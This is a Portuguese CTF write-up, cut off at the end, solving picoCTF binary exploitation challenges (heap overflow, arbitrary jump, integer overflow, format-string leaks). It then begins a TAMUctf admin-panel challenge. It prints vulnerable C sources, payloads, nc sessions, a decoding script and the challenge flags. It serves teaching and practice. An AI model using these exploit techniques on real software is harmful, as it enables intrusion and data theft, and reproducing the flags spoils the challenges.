esse algo mais será escrito na variável safe_var.\nVocê pode escrever a seguinte entrada na função write_buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnoop\nDepois disso, você pode verificar usando print_heap() que realmente mudamos safe_var:\n1 2 3 4 5 6 7 8 9 Enter your choice: 1 Heap State: +-------------+----------------+ [*] Address -\u0026gt; Heap Data +-------------+----------------+ [*] 0x55bc1d8756b0 -\u0026gt; AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnoop +-------------+----------------+ [*] 0x55bc1d8756d0 -\u0026gt; noop +-------------+----------------+ Podemos então apenas imprimir a flag.\nflag: picoCTF{my_first_heap_overflow_76775c7c}\nheap 1 No heap 1, temos quase o mesmo código de heap 0. No entanto, a comparação usada para pegar a flag é diferente. Aqui está como é feita em heap 1:\n1 if (!strcmp(safe_var, \u0026#34;pico\u0026#34;)) A única diferença aqui é que agora queremos que safe_var seja \u0026quot;pico\u0026quot;.\nNa solução anterior, alteramos safe_var para noop. Podemos usar a mesma solução, mas alterando para \u0026quot;pico\u0026quot;:\nEntrada para a função write_buffer: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApico\nflag: picoCTF{starting_to_get_the_hang_e9fbcea5}\nPicker IV Source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; void print_segf_message(){ printf(\u0026#34;Segfault triggered! Exiting.\\n\u0026#34;); sleep(15); exit(SIGSEGV); } int win() { FILE *fptr; char c; printf(\u0026#34;You won!\\n\u0026#34;); // Open file fptr = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); if (fptr == NULL) { printf(\u0026#34;Cannot open file.\\n\u0026#34;); exit(0); } // Read contents from file c = fgetc(fptr); while (c != EOF) { printf (\u0026#34;%c\u0026#34;, c); c = fgetc(fptr); } printf(\u0026#34;\\n\u0026#34;); fclose(fptr); } int main() { signal(SIGSEGV, print_segf_message); setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered unsigned int val; printf(\u0026#34;Enter the address in hex to jump to, excluding \u0026#39;0x\u0026#39;: \u0026#34;); scanf(\u0026#34;%x\u0026#34;, \u0026amp;val); printf(\u0026#34;You input 0x%x\\n\u0026#34;, val); void (*foo)(void) = (void (*)())val; foo(); } checksec:\n1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Parece que o código solicitará um endereço em hexadecimal e saltará para ele. Como não temos PIE, podemos simplesmente escolher o endereço sem preocupações. Usei o gdb para obter o endereço da função win: 0x40129e.\nO scanf lerá um valor hexadecimal, então fiz o seguinte:\n1 2 3 4 5 nc saturn.picoctf.net 59045 Enter the address in hex to jump to, excluding \u0026#39;0x\u0026#39;: 40129e You input 0x40129e You won! picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4} flag: picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}\nbasic-file-exploit O source code é meio longo, mas aqui está ele:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdbool.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; #include \u0026lt;ctype.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/time.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #define WAIT 60 static const char* flag = \u0026#34;[REDACTED]\u0026#34;; static char data[10][100]; static int input_lengths[10]; static int inputs = 0; int tgetinput(char *input, unsigned int l) { fd_set input_set; struct timeval timeout; int ready_for_reading = 0; int read_bytes = 0; if( l \u0026lt;= 0 ) { printf(\u0026#34;\u0026#39;l\u0026#39; for tgetinput must be greater than 0\\n\u0026#34;); return -2; } /* Empty the FD Set */ FD_ZERO(\u0026amp;input_set ); /* Listen to the input descriptor */ FD_SET(STDIN_FILENO, \u0026amp;input_set); /* Waiting for some seconds */ timeout.tv_sec = WAIT; // WAIT seconds timeout.tv_usec = 0; // 0 milliseconds /* Listening for input stream for any activity */ ready_for_reading = select(1, \u0026amp;input_set, NULL, NULL, \u0026amp;timeout); /* Here, first parameter is number of FDs in the set, * second is our FD set for reading, * third is the FD set in which any write activity needs to updated, * which is not required in this case. * Fourth is timeout */ if (ready_for_reading == -1) { /* Some error has occured in input */ printf(\u0026#34;Unable to read your input\\n\u0026#34;); return -1; } if (ready_for_reading) { read_bytes = read(0, input, l-1); if(input[read_bytes-1]==\u0026#39;\\n\u0026#39;){ --read_bytes; input[read_bytes]=\u0026#39;\\0\u0026#39;; } if(read_bytes==0){ printf(\u0026#34;No data given.\\n\u0026#34;); return -4; } else { return 0; } } else { printf(\u0026#34;Timed out waiting for user input. Press Ctrl-C to disconnect\\n\u0026#34;); return -3; } return 0; } static void data_write() { char input[100]; char len[4]; long length; int r; printf(\u0026#34;Please enter your data:\\n\u0026#34;); r = tgetinput(input, 100); // Timeout on user input if(r == -3) { printf(\u0026#34;Goodbye!\\n\u0026#34;); exit(0); } while (true) { printf(\u0026#34;Please enter the length of your data:\\n\u0026#34;); r = tgetinput(len, 4); // Timeout on user input if(r == -3) { printf(\u0026#34;Goodbye!\\n\u0026#34;); exit(0); } if ((length = strtol(len, NULL, 10)) == 0) { puts(\u0026#34;Please put in a valid length\u0026#34;); } else { break; } } if (inputs \u0026gt; 10) { inputs = 0; } strcpy(data[inputs], input); input_lengths[inputs] = length; printf(\u0026#34;Your entry number is: %d\\n\u0026#34;, inputs + 1); inputs++; } static void data_read() { char entry[4]; long entry_number; char output[100]; int r; memset(output, \u0026#39;\\0\u0026#39;, 100); printf(\u0026#34;Please enter the entry number of your data:\\n\u0026#34;); r = tgetinput(entry, 4); // Timeout on user input if(r == -3) { printf(\u0026#34;Goodbye!\\n\u0026#34;); exit(0); } if ((entry_number = strtol(entry, NULL, 10)) == 0) { puts(flag); fseek(stdin, 0, SEEK_END); exit(0); } entry_number--; strncpy(output, data[entry_number], input_lengths[entry_number]); puts(output); } int main(int argc, char** argv) { char input[3] = {\u0026#39;\\0\u0026#39;}; long command; int r; puts(\u0026#34;Hi, welcome to my echo chamber!\u0026#34;); puts(\u0026#34;Type \u0026#39;1\u0026#39; to enter a phrase into our database\u0026#34;); puts(\u0026#34;Type \u0026#39;2\u0026#39; to echo a phrase in our database\u0026#34;); puts(\u0026#34;Type \u0026#39;3\u0026#39; to exit the program\u0026#34;); while (true) { r = tgetinput(input, 3); // Timeout on user input if(r == -3) { printf(\u0026#34;Goodbye!\\n\u0026#34;); exit(0); } if ((command = strtol(input, NULL, 10)) == 0) { puts(\u0026#34;Please put in a valid number\u0026#34;); } else if (command == 1) { data_write(); puts(\u0026#34;Write successful, would you like to do anything else?\u0026#34;); } else if (command == 2) { if (inputs == 0) { puts(\u0026#34;No data yet\u0026#34;); continue; } data_read(); puts(\u0026#34;Read successful, would you like to do anything else?\u0026#34;); } else if (command == 3) { return 0; } else { puts(\u0026#34;Please type either 1, 2 or 3\u0026#34;); puts(\u0026#34;Maybe breaking boundaries elsewhere will be helpful\u0026#34;); } } return 0; } Não recebemos nenhum binário compilado aqui. Podemos, entretanto, compilar nós mesmos para testar as coisas.\nOlhando o source code, precisamos dar trigger nessa condicional:\n1 2 3 4 5 if ((entry_number = strtol(entry, NULL, 10)) == 0) { puts(flag); fseek(stdin, 0, SEEK_END); exit(0); } Para entrar na condicional, é necessário garantir que a conversão da string entry para long integer usando a strtol resulte em 0. Dá para conseguir isso fornecendo um input como 0 ou alguma coisa inválida tipo abc.\nAqui o meu solve:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 nc saturn.picoctf.net 56510 Hi, welcome to my echo chamber! Type \u0026#39;1\u0026#39; to enter a phrase into our database Type \u0026#39;2\u0026#39; to echo a phrase in our database Type \u0026#39;3\u0026#39; to exit the program 1 Please enter your data: nvsuinvfuisj Please enter the length of your data: 10 Your entry number is: 1 Write successful, would you like to do anything else? 2 2 Please enter the entry number of your data: 0 picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942} flag: picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_1B9F5942}\ntwo sum Source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; static int addIntOvf(int result, int a, int b) { result = a + b; if(a \u0026gt; 0 \u0026amp;\u0026amp; b \u0026gt; 0 \u0026amp;\u0026amp; result \u0026lt; 0) return -1; if(a \u0026lt; 0 \u0026amp;\u0026amp; b \u0026lt; 0 \u0026amp;\u0026amp; result \u0026gt; 0) return -1; return 0; } int main() { int num1, num2, sum; FILE *flag; char c; printf(\u0026#34;n1 \u0026gt; n1 + n2 OR n2 \u0026gt; n1 + n2 \\n\u0026#34;); fflush(stdout); printf(\u0026#34;What two positive numbers can make this possible: \\n\u0026#34;); fflush(stdout); if (scanf(\u0026#34;%d\u0026#34;, \u0026amp;num1) \u0026amp;\u0026amp; scanf(\u0026#34;%d\u0026#34;, \u0026amp;num2)) { printf(\u0026#34;You entered %d and %d\\n\u0026#34;, num1, num2); fflush(stdout); sum = num1 + num2; if (addIntOvf(sum, num1, num2) == 0) { printf(\u0026#34;No overflow\\n\u0026#34;); fflush(stdout); exit(0); } else if (addIntOvf(sum, num1, num2) == -1) { printf(\u0026#34;You have an integer overflow\\n\u0026#34;); fflush(stdout); } if (num1 \u0026gt; 0 || num2 \u0026gt; 0) { flag = fopen(\u0026#34;flag.txt\u0026#34;,\u0026#34;r\u0026#34;); if(flag == NULL){ printf(\u0026#34;flag not found: please run this on the server\\n\u0026#34;); fflush(stdout); exit(0); } char buf[60]; fgets(buf, 59, flag); printf(\u0026#34;YOUR FLAG IS: %s\\n\u0026#34;, buf); fflush(stdout); exit(0); } } return 0; } Não recebemos nenhum binário compilado.\nPara resolver o problema, precisamos acionar o seguinte código: else if (addIntOvf(sum, num1, num2) == -1) e esse: if (num1 \u0026gt; 0 || num2 \u0026gt; 0) Para que a função addIntOvf retorne -1, precisamos fornecer dois inteiros positivos que resultem em um inteiro negativo (o que indica um overflow). Precisamos escolher dois inteiros positivos devido à segunda condição mencionada.\nint é uma variável de 4 bytes. O tamanho máximo dela é 2147483647 (2^31 - 1). Então se tivermos num1 como 2147483647 e num2 como 1, teremos um integer overflow. Vamos tentar isso:\n1 2 3 4 5 6 7 8 nc saturn.picoctf.net 62116 n1 \u0026gt; n1 + n2 OR n2 \u0026gt; n1 + n2 What two positive numbers can make this possible: 2147483647 1 You entered 2147483647 and 1 You have an integer overflow YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_e06700c0} flag: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_e06700c0}\nformat string 0 Aqui o source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;signal.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;sys/types.h\u0026gt; #define BUFSIZE 32 #define FLAGSIZE 64 char flag[FLAGSIZE]; void sigsegv_handler(int sig) { printf(\u0026#34;\\n%s\\n\u0026#34;, flag); fflush(stdout); exit(1); } int on_menu(char *burger, char *menu[], int count) { for (int i = 0; i \u0026lt; count; i++) { if (strcmp(burger, menu[i]) == 0) return 1; } return 0; } void serve_patrick(); void serve_bob(); int main(int argc, char **argv){ FILE *f = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); if (f == NULL) { printf(\u0026#34;%s %s\u0026#34;, \u0026#34;Please create \u0026#39;flag.txt\u0026#39; in this directory with your\u0026#34;, \u0026#34;own debugging flag.\\n\u0026#34;); exit(0); } fgets(flag, FLAGSIZE, f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); serve_patrick(); return 0; } void serve_patrick() { printf(\u0026#34;%s %s\\n%s\\n%s %s\\n%s\u0026#34;, \u0026#34;Welcome to our newly-opened burger place Pico \u0026#39;n Patty!\u0026#34;, \u0026#34;Can you help the picky customers find their favorite burger?\u0026#34;, \u0026#34;Here comes the first customer Patrick who wants a giant bite.\u0026#34;, \u0026#34;Please choose from the following burgers:\u0026#34;, \u0026#34;Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe\u0026#34;, \u0026#34;Enter your recommendation: \u0026#34;); fflush(stdout); char choice1[BUFSIZE]; scanf(\u0026#34;%s\u0026#34;, choice1); char *menu1[3] = {\u0026#34;Breakf@st_Burger\u0026#34;, \u0026#34;Gr%114d_Cheese\u0026#34;, \u0026#34;Bac0n_D3luxe\u0026#34;}; if (!on_menu(choice1, menu1, 3)) { printf(\u0026#34;%s\u0026#34;, \u0026#34;There is no such burger yet!\\n\u0026#34;); fflush(stdout); } else { int count = printf(choice1); if (count \u0026gt; 2 * BUFSIZE) { serve_bob(); } else { printf(\u0026#34;%s\\n%s\\n\u0026#34;, \u0026#34;Patrick is still hungry!\u0026#34;, \u0026#34;Try to serve him something of larger size!\u0026#34;); fflush(stdout); } } } void serve_bob() { printf(\u0026#34;\\n%s %s\\n%s %s\\n%s %s\\n%s\u0026#34;, \u0026#34;Good job! Patrick is happy!\u0026#34;, \u0026#34;Now can you serve the second customer?\u0026#34;, \u0026#34;Sponge Bob wants something outrageous that would break the shop\u0026#34;, \u0026#34;(better be served quick before the shop owner kicks you out!)\u0026#34;, \u0026#34;Please choose from the following burgers:\u0026#34;, \u0026#34;Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak\u0026#34;, \u0026#34;Enter your recommendation: \u0026#34;); fflush(stdout); char choice2[BUFSIZE]; scanf(\u0026#34;%s\u0026#34;, choice2); char *menu2[3] = {\u0026#34;Pe%to_Portobello\u0026#34;, \u0026#34;$outhwest_Burger\u0026#34;, \u0026#34;Cla%sic_Che%s%steak\u0026#34;}; if (!on_menu(choice2, menu2, 3)) { printf(\u0026#34;%s\u0026#34;, \u0026#34;There is no such burger yet!\\n\u0026#34;); fflush(stdout); } else { printf(choice2); fflush(stdout); } } Checksec:\n1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Para acionar a impressão da flag, você precisa explorar uma vulnerabilidade de format string. Aqui está o processo:\nAo iniciar o programa, você entra na função serve_patrick(). Para continuar para a função serve_bob(), a opção disponível é Gr%114d_Cheese.\nQuando você chega em serve_bob(), há um menu semelhante, e qualquer seleção será impressa usando printf. Isso cria uma vulnerabilidade de format string. Escolher a opção Pe%to_Portobello resulta em:\n1 2 Enter your recommendation: Pe%to_Portobello Pe20021560_Portobello Isso indica que a entrada está sendo usada como formato pelo printf, e números são lidos da memória.\nE se escolhermos a opção Cla%sic_Che%s%steak?\n1 2 3 4 Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak Enter your recommendation: Cla%sic_Che%s%steak ClaCla%sic_Che%s%steakic_Che(null) picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6} O que aconteceu foi que o %s na entrada tenta imprimir strings armazenadas em endereços de memória. Como printf não tem argumentos para %s, ele usa argumentos da memória, levando a um erro de segmentação (segfault) e revelando a flag.\nflag: picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_63191ce6}\nformat string 1 Source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 #include \u0026lt;stdio.h\u0026gt; int main() { char buf[1024]; char secret1[64]; char flag[64]; char secret2[64]; // Read in first secret menu item FILE *fd = fopen(\u0026#34;secret-menu-item-1.txt\u0026#34;, \u0026#34;r\u0026#34;); if (fd == NULL){ printf(\u0026#34;\u0026#39;secret-menu-item-1.txt\u0026#39; file not found, aborting.\\n\u0026#34;); return 1; } fgets(secret1, 64, fd); // Read in the flag fd = fopen(\u0026#34;flag.txt\u0026#34;, \u0026#34;r\u0026#34;); if (fd == NULL){ printf(\u0026#34;\u0026#39;flag.txt\u0026#39; file not found, aborting.\\n\u0026#34;); return 1; } fgets(flag, 64, fd); // Read in second secret menu item fd = fopen(\u0026#34;secret-menu-item-2.txt\u0026#34;, \u0026#34;r\u0026#34;); if (fd == NULL){ printf(\u0026#34;\u0026#39;secret-menu-item-2.txt\u0026#39; file not found, aborting.\\n\u0026#34;); return 1; } fgets(secret2, 64, fd); printf(\u0026#34;Give me your order and I\u0026#39;ll read it back to you:\\n\u0026#34;); fflush(stdout); scanf(\u0026#34;%1024s\u0026#34;, buf); printf(\u0026#34;Here\u0026#39;s your order: \u0026#34;); printf(buf); printf(\u0026#34;\\n\u0026#34;); fflush(stdout); printf(\u0026#34;Bye!\\n\u0026#34;); fflush(stdout); return 0; } Checksec:\n1 2 3 4 5 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Temos uma vulnerabilidade de format string aqui:\n1 2 3 scanf(\u0026#34;%1024s\u0026#34;, buf); printf(\u0026#34;Here\u0026#39;s your order: \u0026#34;); printf(buf); Controlamos o que é fornecido para a função printf. Como não sabemos o tamanho de secret-menu-item-1.txt ou secret-menu-item-2.txt, pode ficar meio difícil saber em qual lugar da memória a string em flag.txtestá. Então eu decidi simplesmente colocar um monte de %pe ver o que eu consigo:\n1 2 3 Give me your order and I\u0026#39;ll read it back to you: %p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p, Here\u0026#39;s your order: 0x402118,(nil),0x760c1fa2da00,(nil),0x11a1880,0xa347834,0x7ffcaa973f50,0x760c1f81ee60,0x760c1fa434d0,0x1,0x7ffcaa974020,(nil),(nil),0x7b4654436f636970,0x355f31346d316e34,0x3478345f33317937,0x30355f673431665f,0x7d343663363933,0x7,0x760c1fa458d8,0x2300000007,0x206e693374307250,0xa336c797453,0x9,0x760c1fa56de9,0x760c1f827098,0x760c1fa434d0,(nil),0x7ffcaa974030,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c,0x2c70252c70252c70,0x70252c70252c7025,0x252c70252c70252c, A partir do pointer 14, temos uma string. Podemos ver o que ela é fazendo:\n1 2 \u0026gt;\u0026gt;\u0026gt; int.to_bytes(0x7b4654436f636970, 8, \u0026#39;little\u0026#39;) b\u0026#39;picoCTF{\u0026#39; Se fizermos o mesmo com os próximos valores, conseguimos a flag.\nflag: picoCTF{4n1m41_57y13_4x4_f14g_50396c64}\nStonks Source code:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 #include \u0026lt;stdlib.h\u0026gt; #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; #include \u0026lt;time.h\u0026gt; #define FLAG_BUFFER 128 #define MAX_SYM_LEN 4 typedef struct Stonks { int shares; char symbol[MAX_SYM_LEN + 1]; struct Stonks *next; } Stonk; typedef struct Portfolios { int money; Stonk *head; } Portfolio; int view_portfolio(Portfolio *p) { if (!p) { return 1; } printf(\u0026#34;\\nPortfolio as of \u0026#34;); fflush(stdout); system(\u0026#34;date\u0026#34;); // TODO: implement this in C fflush(stdout); printf(\u0026#34;\\n\\n\u0026#34;); Stonk *head = p-\u0026gt;head; if (!head) { printf(\u0026#34;You don\u0026#39;t own any stonks!\\n\u0026#34;); } while (head) { printf(\u0026#34;%d shares of %s\\n\u0026#34;, head-\u0026gt;shares, head-\u0026gt;symbol); head = head-\u0026gt;next; } return 0; } Stonk *pick_symbol_with_AI(int shares) { if (shares \u0026lt; 1) { return NULL; } Stonk *stonk = malloc(sizeof(Stonk)); stonk-\u0026gt;shares = shares; int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1; for (int i = 0; i \u0026lt;= MAX_SYM_LEN; i++) { if (i \u0026lt; AI_symbol_len) { stonk-\u0026gt;symbol[i] = \u0026#39;A\u0026#39; + (rand() % 26); } else { stonk-\u0026gt;symbol[i] = \u0026#39;\\0\u0026#39;; } } stonk-\u0026gt;next = NULL; return stonk; } int buy_stonks(Portfolio *p) { if (!p) { return 1; } char api_buf[FLAG_BUFFER]; FILE *f = fopen(\u0026#34;api\u0026#34;,\u0026#34;r\u0026#34;); if (!f) { printf(\u0026#34;Flag file not found. Contact an admin.\\n\u0026#34;); exit(1); } fgets(api_buf, FLAG_BUFFER, f); int money = p-\u0026gt;money; int shares = 0; Stonk *temp = NULL; printf(\u0026#34;Using patented AI algorithms to buy stonks\\n\u0026#34;); while (money \u0026gt; 0) { shares = (rand() % money) + 1; temp = pick_symbol_with_AI(shares); temp-\u0026gt;next = p-\u0026gt;head; p-\u0026gt;head = temp; money -= shares; } printf(\u0026#34;Stonks chosen\\n\u0026#34;); // TODO: Figure out how to read token from file, for now just ask char *user_buf = malloc(300 + 1); printf(\u0026#34;What is your API token?\\n\u0026#34;); scanf(\u0026#34;%300s\u0026#34;, user_buf); printf(\u0026#34;Buying stonks with token:\\n\u0026#34;); printf(user_buf); // TODO: Actually use key to interact with API view_portfolio(p); return 0; } Portfolio *initialize_portfolio() { Portfolio *p = malloc(sizeof(Portfolio)); p-\u0026gt;money = (rand() % 2018) + 1; p-\u0026gt;head = NULL; return p; } void free_portfolio(Portfolio *p) { Stonk *current = p-\u0026gt;head; Stonk *next = NULL; while (current) { next = current-\u0026gt;next; free(current); current = next; } free(p); } int main(int argc, char *argv[]) { setbuf(stdout, NULL); srand(time(NULL)); Portfolio *p = initialize_portfolio(); if (!p) { printf(\u0026#34;Memory failure\\n\u0026#34;); exit(1); } int resp = 0; printf(\u0026#34;Welcome back to the trading app!\\n\\n\u0026#34;); printf(\u0026#34;What would you like to do?\\n\u0026#34;); printf(\u0026#34;1) Buy some stonks!\\n\u0026#34;); printf(\u0026#34;2) View my portfolio\\n\u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;resp); if (resp == 1) { buy_stonks(p); } else if (resp == 2) { view_portfolio(p); } free_portfolio(p); printf(\u0026#34;Goodbye!\\n\u0026#34;); exit(0); } Não recebemos nenhum arquivo binário compilado no chall.\nNesse chall, temos outra vulnerabilidade de format string. Dê uma olhada nessas linhas da função buy_stonks:\n1 2 3 4 5 char *user_buf = malloc(300 + 1); printf(\u0026#34;What is your API token?\\n\u0026#34;); scanf(\u0026#34;%300s\u0026#34;, user_buf); printf(\u0026#34;Buying stonks with token:\\n\u0026#34;); printf(user_buf); Precisamos saber onde o conteúdo de api está. Eu coloquei um monte de %p novamente porque parecia ser a forma mais simples de resolver:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 nc mercury.picoctf.net 27912 Welcome back to the trading app! What would you like to do? 1) Buy some stonks! 2) View my portfolio 1 Using patented AI algorithms to buy stonks Stonks chosen What is your API token? %p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p, Buying stonks with token: 0x8a3b450,0x804b000,0x80489c3,0xf7f60d80,0xffffffff,0x1,0x8a39160,0xf7f6e110,0xf7f60dc7,(nil),0x8a3a180,0x1,0x8a3b430,0x8a3b450,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x32666331,0x30613130,0xffda007d,0xf7f9baf8,0xf7f6e440,0xf8bb5a00,0x1,(nil),0xf7dfdce9, Portfolio as of Fri Aug 2 05:05:33 UTC 2024 1 shares of SXD 1 shares of NJF 1 shares of CN 4 shares of HXQ 3 shares of UR 81 shares of ONKL 188 shares of F 451 shares of G 327 shares of ANLB 175 shares of U 189 shares of K Goodbye! Criei um script em python para olhar para o output e gerar uma solução:\n1 2 3 4 5 6 7 8 9 10 11 output = \u0026#39;0x8a3b450,0x804b000,0x80489c3,0xf7f60d80,0xffffffff,0x1,0x8a39160,0xf7f6e110,0xf7f60dc7,(nil),0x8a3a180,0x1,0x8a3b430,0x8a3b450,0x6f636970,0x7b465443,0x306c5f49,0x345f7435,0x6d5f6c6c,0x306d5f79,0x5f79336e,0x32666331,0x30613130,0xffda007d,0xf7f9baf8,0xf7f6e440,0xf8bb5a00,0x1,(nil),0xf7dfdce9\u0026#39; output = output.split(\u0026#39;,\u0026#39;) decoded = \u0026#39;\u0026#39; for _ in range(len(output)): output[_] = output[_].encode() try: decoded += int.to_bytes(int(output[_], 16), 8, \u0026#39;big\u0026#39;).decode()[::-1] except (UnicodeDecodeError, ValueError): continue print(decoded) flag: picoCTF{I_l05t_4ll_my_m0n3y_1cf201a0}\nChallenge extra ^^ TAMUctf 2024 - admin panel DISCLAIMER: Eu não resolvi esse challenge durante o CTF.\nVamos começar :)\nO desafio nos fornece um arquivo zip. Ao descompactá-lo, obtemos uma libc, um arquivo ld, um arquivo executável e um arquivo de código fonte. Vamos dar uma olhada no código fonte:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #include \u0026lt;stdio.h\u0026gt; #include \u0026lt;string.h\u0026gt; int upkeep() { // IGNORE THIS setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); } int admin() { int choice = 0; char report[64]; puts(\u0026#34;\\nWelcome to the administrator panel!\\n\u0026#34;); puts(\u0026#34;Here are your options:\u0026#34;); puts(\u0026#34;1. Display current status report\u0026#34;); puts(\u0026#34;2. Submit error report\u0026#34;); puts(\u0026#34;3: Perform cloning (currently disabled)\\n\u0026#34;); puts(\u0026#34;Enter either 1, 2 or 3: \u0026#34;); scanf(\u0026#34;%d\u0026#34;, \u0026amp;choice); printf(\u0026#34;You picked: %d\\n\\n\u0026#34;, choice); if (choice==1) { puts(\u0026#34;Status report: \\n\u0026#34;); puts(\u0026#34;\\tAdministrator panel functioning as expected.\u0026#34;); puts(\u0026#34;\\tSome people have told me that my code is insecure, but\u0026#34;); puts(\u0026#34;\\tfortunately, the panel has many standard security measures implemented\u0026#34;); puts(\u0026#34;\\tto make up for that fact.\\n\u0026#34;); puts(\u0026#34;\\tCurrently working on implementing cloning functionality,\u0026#34;); puts(\u0026#34;\\tthough it may be somewhat difficult (I am not a competent programmer).\u0026#34;); } else if (choice==2) { puts(\u0026#34;Enter information on what went wrong:\u0026#34;); scanf(\u0026#34;%128s\u0026#34;, report); puts(\u0026#34;Report 